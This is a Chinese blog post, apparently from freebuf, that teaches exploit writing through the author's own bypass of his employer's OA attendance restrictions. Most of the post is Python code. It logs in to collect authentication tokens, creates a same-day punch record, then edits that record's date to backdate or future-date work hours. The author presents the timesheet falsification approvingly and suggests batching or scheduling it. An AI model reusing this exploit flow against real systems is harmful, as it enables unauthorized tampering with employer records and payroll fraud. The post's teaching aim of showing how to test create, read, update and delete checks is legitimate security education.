绕过业务逻辑的exp编写 – 作者:Laon2333

经常有一部分初入安全门槛的同学们会对编写exp和poc之类问题或无从下手,这次来分享一个简单实用的exp编写流程。

具体的poc和exp的区别自行百度,主要讲方法。

业务背景

这个业务逻辑是当时初入安全行业,为了方便打卡,编写的一个绕过打卡限制的exp,当时公司自己开发的一套oa系统,打卡的规定是,只能打当天的和补打前一天的,所以在很多次忘记打卡,提交了很多补打申请后,我决定找一找其中的业务逻辑,顺便写个补打exp。

漏洞发现

首先我们需要对系统的报文和接口进行分析,使用burpsuite抓包分析。

该系统对公司内网和外网app开放的是不同的两套打卡接口,由于外网对网络要求比较低,所以我决定通过外网接口进行分析。

通过Wifi将手机和电脑连接于同一网络下,如果app采用https传输协议,可以通过手机打开 http://burp导入burpsuite的证书挂代理进行抓包。

首先我判断这个app只对前端进行了限制,尝试了直接更改打卡报文中的日期进行补打,但并没有成功。

那么第一个业务环节,增加数据环节是不可更改的。

接下来进行第二个业务环节,修改数据是不是可以实现呢,由于在应用层面,更改打卡信息同样只能在当天和前一天执行。

所以我抓取了当天的已打卡的数据,并重新提交,提交时将打卡日期更改为前几天的日期,提交成功!

至此,在寻找业务逻辑漏洞的这个阶段,基本完成。

在这个阶段,如果有明确的功能需求,只需要依次验证这个功能的增删改查是否有严格验证,就可以了。

准备环节

在编写exp时,个人比较倾向于使用python,没有什么原因,写着顺手,如果有自己擅长的语言,其实没什么限制,所以这次主要以python3作为例子。

一般使用的比较多的模块有,requests、sys、json、time、datetime、urllib3、re。

requests和urllib3主要的作用是建立http相关的连接和报文处理;sys一般会用在调用系统命令相关的环节;json会使用在需要传输数据或处理数据格式的环节;time和datetime会用在对时间认证的环节上;re会用在数据的筛选和过滤环节。

而编写的方式,主要有面向对象和面向过程两种。面向对象我习惯用于逻辑处理复杂的情况下,或需要批量处理,多线程处理。而面向过程的exp更倾向于过程简单,需要快速复现利用的环境。

编写exp

业务逻辑类漏洞,或自动化的exp最重要的一个环节是自动化登录获取令牌,所以首先要做的是获取相关的令牌,之后才有资格做接下来的操作。

首先,我们通过burpsuite挂代理,执行一次登录操作,查看history中的request和response的关联,再将修改打卡的报文流程加入其中,就是一个业务逻辑的exp利用流程。

通过关联可以得到以下流程:

1、第一个报文调用登录接口,获取令牌Authentication_Token和票据Authentication_TGT

# 接口
    get_token_url = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/1'
 
    # 报文头
    get_token_hraders = {
        ...}
 
    # 传输数据用户名和密码
    get_token_Date = {"appCode": "XXXXXXXXXXXXXX", "domain": "domain","password": self.passWord,"userName": self.userName}
 
    # 获取响应
    get_token_r = requests.post(get_token_url, json=get_token_Date, headers=get_token_hraders)
 
    # 赋值准备被调用
    get_token_response_dict = get_token_r.json()
 
    # 获取TGT和token
    self.Authentication_Token = get_token_response_dict['Authentication_Token']
    self.Authentication_TGT = get_token_response_dict['Authentication_TGT']

2、第二个报文调用已经获取的令牌Authentication_Token和票据Authentication_TGT和已有的用户名密码得到self.staff_token,至此,登陆环节完成。

# 接口
    login_url = '//XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/2'
 
    login_headers = {
        ...
        'Authentication-Token': self.Authentication_Token,
        'Authentication-TGT': self.Authentication_TGT,
        ... }
 
    login_Date = {..."password": self.passWord, "userName": self.userName}
    login_r = requests.post(login_url, json=login_Date, headers=login_headers)
    login_response_dict = login_r.json()
 
    # 获取staff_token
    self.staff_token = login_response_dict['data']['staff_token']

3、接下来需要做的是打卡当天的数据,提交员工号和时间数据,报文头中包含Token、TGT、staff_token,确认身份以及行为。

self.id = id               #员工号
    self.start_id = start_id   #开始工作时间
    self.end_id = end_id       #结束工作时间
 
    change_url1 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/3='+str(self.id)+'&start='+str(self.start_id)+'&end='+str(self.end_id)
    change_headers1 = {
        ...
        'Authentication-Token': self.Authentication_Token,
        'mis-staff-token': self.staff_token,
        'Authentication-TGT': self.Authentication_TGT,
        ...
    }

4、确认身份后,开始当天提交打卡数据,打卡成功后,就可以获取相对应的event_id

self.new_date = new_date                #打卡日期
    self.new_discription = new_discription  #工作内容描述
    self.new_hours = new_hours              #工作时长

    change_url2 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/4'
    change_headers2 = {
        ...
        'Authentication-Token': self.Authentication_Token,
        'mis-staff-token': self.staff_token,
        'Authentication-TGT': self.Authentication_TGT,
        ...
    }    
    # 提交打卡数据
    change2_Date =[{ "date": self.new_date,"description": self.new_discription, "hours": self.new_hours, "staffId":self.id,}]
    change2_r = requests.post(change_url2, json=change2_Date, headers=change_headers2)
    change2_response_dict = change2_r.json()
 
    # 这里要获取一个事件ID作为本次打卡的标志,在更改数据的时候调用本次事件
    self.event_id = int(change2_response_dict['xxxx'][x]['id'])

5、修改打卡数据,调用已经完成的当天日期打卡数据的event_id,并修改日期即可绕过日期限制,对任意时间进行打卡,甚至是未来的工时。

self.new_date = new_date                    #需要更新的目标日期         
    self.new_discription = new_discription      #需要更新的目标日期描述   
    self.new_hours = new_hours                  #需要更新的目标日期工作时长
 
    change_url4 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/5'
 
    change_headers4 = {
        ...
        'Authentication-Token': self.Authentication_Token,
        'mis-staff-token': self.mis_staff_token,
        'Authentication-TGT': self.Authentication_TGT,
        ...
    }
 
    change4_Date =[{"date":self.new_date,"description":self.new_discription,"hours":self.new_hours,"id":int(self.event_id),"staffId":self.id,}]

写好整个流程的接口后,即可对相关书数据进行处理,比如在这次的exp中,就需要规范时间格式,所以又写了一个时间处理的方法。

date1 = date+' 08:00:00'
    timeArray = datetime.datetime.strptime(date1, "%Y-%m-%d %H:%M:%S")
    timeStamp = int(round(time.mktime(time.strptime(str(timeArray), "%Y-%m-%d %H:%M:%S")) * XXXXX))
    return timeStamp

将以上每个流程都写成打卡类中的对应方法,方便之后对每个接口进行系统的调用。

最后,就是对整个流程的函数进行整合,可以写成批量打卡,也可以写成定时任务,都可以比较简单的完成。

来源:freebuf.com 2021-06-01 16:34:44 by: Laon2333

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论